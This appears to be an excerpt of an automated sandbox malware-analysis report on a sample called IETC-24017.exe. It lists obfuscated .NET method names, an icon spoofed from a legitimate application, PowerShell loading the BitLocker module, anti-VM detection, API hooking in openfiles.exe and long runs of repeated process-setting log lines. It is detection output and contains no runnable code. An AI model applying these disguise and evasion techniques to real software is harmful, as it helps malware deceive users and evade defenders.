Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, DBRAhcaAGVPnvXZS8R.cs	High entropy of concatenated method names: 'Dispose', 'Rdp72wHpm3', 'DbiqS7UMfb', 'nFgoWDwaqa', 'pAq7KM077S', 'TZr7ze7EKh', 'ProcessDialogKey', 'jkCq9y5jhq', 'SPvq7GJZWw', 'vEXqqN9BeN'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, UgURI8qxyhTosJc40U.cs	High entropy of concatenated method names: 'l8fbLw3dr', 'pvTAjexNd', 'ChShBePmb', 'xPTtAYYlO', 'yc5lEFDfJ', 'tIIm6pvxv', 'VXYLGw4Gvkte9t0trx', 'XFHKkf7CTkXm562cmN', 'uDOONWdFH', 'OWRf3Ybr8'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, hbFFUcEYYNYugCsOEF.cs	High entropy of concatenated method names: 'KmG0Dd8Iuu', 'dmV0rYYmaR', 'eZT0bywJkR', 'Fe60ACK4Qo', 'Syk0yuHJCx', 'LTS0hRBP62', 'lJZ0teTZq7', 'cJX0NT5ZGa', 'BFV0lcsrbH', 'pAc0mk6BwY'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, vSepHu7qfgQA737a6I9.cs	High entropy of concatenated method names: 'ToString', 'xPmUNUQism', 'aPiUlTmiDf', 'OIgUmCgsfh', 'ESVUHM09fT', 'RDbUSn8yJT', 'hZtU4IPlCT', 'nrsUc8Jad3', 'GECkPdnBR85Z8vSmCAq', 'AMfMqnnaIeoW44ClrlS'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, OCAaygYSWXdpwHpm3x.cs	High entropy of concatenated method names: 'vpHIxVqqg7', 'qfpIerMkd7', 'jcPIIoR6rl', 'eI6IUTNLkE', 'HSuI6xO3bT', 'cCoI5DdwHb', 'Dispose', 'GPqOJ7IbLC', 'ShrOa1xxDp', 'nSOOGd0QKY'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, wN1TkLl7GsHrtICG5A.cs	High entropy of concatenated method names: 'h6HGA0cfTc', 'DTxGh5Cqh0', 'TkBGNoXg4f', 'ys1Glbwf55', 'z5jGxdLfEM', 'G0YGn2EXfV', 'gUTGed6Dnw', 'lxGGO0DVr6', 'V1TGIgcvXa', 'JGXGfmiPfD'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, tnq2KFviY0hphdNuc7.cs	High entropy of concatenated method names: 'qWheM39p6A', 'LQpeK2kmrp', 'qDFO9HJEav', 'YJpO7Uid03', 'u7KegkJOZr', 'VK8epGtu0S', 'WXUe3cqF86', 'Sc5eZTeZ35', 'iLAeXPUANF', 'N8OeVsjJHf'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, Iht7kKNJwU57iwhQqv.cs	High entropy of concatenated method names: 'boIaZwduI2', 'XsZaXGLjLA', 'vVgaVGpTwG', 'RL1a8k4DtM', 'vrMajZ40KD', 'PxCavKb8QF', 'hlTaY2khfU', 'BsraMaaVm5', 'MDEa2tNauI', 'BvAaK4A4Fk'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, A4L4Vc79JQDkWedh4rO.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kV1fg5j83t', 'pFMfp7vAbZ', 'jxZf3kwVb6', 'bwjfZxr95p', 'sbKfXPAj4t', 'GaofVAuAIB', 'O0df8Kxpu3'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, GX0wN0dmJfRg70pdyC.cs	High entropy of concatenated method names: 'vyc70ht7kK', 'fwU7i57iwh', 'e7G7RsHrtI', 'hG57BAxKeS', 'sRH7xSsMAL', 'pmX7ntU7pu', 'ynTVlAW86us8oO3Znb', 'jdWGUEQJeFZhll39hf', 'qA877KlXK0', 'sUP7TWMobc'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, WALnmXHtU7puQov5HH.cs	High entropy of concatenated method names: 'M2KPLUkjEW', 'j58PabffWS', 'soKPCKMbax', 'hBhP0iqpXq', 'pV4Pi3puZS', 'pN5CjyFVTB', 'rA5CvSTdnW', 'KW9CY2W9yp', 'FE8CMhCPs7', 'EDdC2IQWq4'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, qApYO98iKLgXPfEkS1.cs	High entropy of concatenated method names: 'CIBeRJFg6U', 'jMreBlL5qS', 'ToString', 'sbfeJbjR1u', 'K8YeaCw1yN', 'Ll8eGQHjpg', 'S3eeCLCTsB', 'T9keP9LrSn', 'arCe09yDYv', 'c1BeiHO1oW'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, oKeSaLmEUc8upfRHSs.cs	High entropy of concatenated method names: 'xE2CyGPVvv', 'bWVCtXoYS9', 'aUpG4fajGi', 'ixZGcQk3KN', 'AUgGW1Un6k', 'TRDGwKLhil', 'hJQGFUt0pi', 'srGGus4qXy', 'wBtGEJN1Pc', 'DnsGQZ1lbr'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, D9BeNbKucdwYKiUcOh.cs	High entropy of concatenated method names: 'aNxfGSvSRo', 'TI5fC7fm7R', 'RkwfPGVOHu', 'pu9f07N3E8', 'EyVfIOQbVg', 'Qcbfi0BTup', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, patXOJ779IGXwNlSKZV.cs	High entropy of concatenated method names: 'ig6fKsZvXg', 'BoTfzW3gK1', 'zOTU9du0MR', 'Y1fU7CEICj', 'YpBUqkatAN', 'NH5UTRkcKp', 'Yq2Ud3FmVP', 'BLvULo54BL', 'sVDUJiWMvg', 'u6fUaE73Aj'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, K61eDCzSKtftstjKOM.cs	High entropy of concatenated method names: 'A86fhM5baH', 'ynofNZBHwi', 'SGCfljsEhp', 'SXAfHuqSv8', 'wuefS6fQs3', 'RenfcGtxrL', 'LQcfWdHXJ2', 'SfCf5je0Gm', 'owrfDAt3mh', 'GwyfrNySoO'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, widv6h3Seesyg9dVrN.cs	High entropy of concatenated method names: 'Kgm1N7PHwC', 'vnS1l39FkO', 'GhI1HuKAWg', 'jjD1SI2JaZ', 'F3I1cI0Fnn', 'QQ31WVgsmg', 'Gn01Ftxe5Y', 's271u41iax', 'kiI1QChbIt', 'Vpc1gh08is'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, p4vIBPGLgnxAJsejJ0.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ck6q2EliC0', 'XAGqKA9U6V', 'PoqqzXOnnr', 'WhAT9reQSY', 'r3rT7OGBSZ', 'dOnTqE57j5', 'OFGTTVc4pX', 'uf5NlL2IBDbbx09fQVC'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, H1JqMh7dvubCIcXHTdc.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'XoSsI6T7SZ', 'Lixsf6IvQc', 'iUjsUMO5Tj', 'bwnssGqHDY', 'xGqs6lZRis', 'kJZsk1kjNG', 'YNAs5cffaI'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, jngiprwo12vMKFGX2H.cs	High entropy of concatenated method names: 'MoEPVWQlPq', 'LYKP8sQVYR', 'BlNPjCne2k', 'ToString', 'RnnPvLsN53', 'uXIPYfgHeE', 'dIaFsUIcufvs2bZtV6n', 'tkyVT3IAcBQGtjPYbmx', 'b21QuiI4CFGBbh5OEUB'

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (15).png

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: IETC-24017.exe PID: 5296, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Users\user\Desktop\IETC-24017.exe	Memory allocated: 2520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
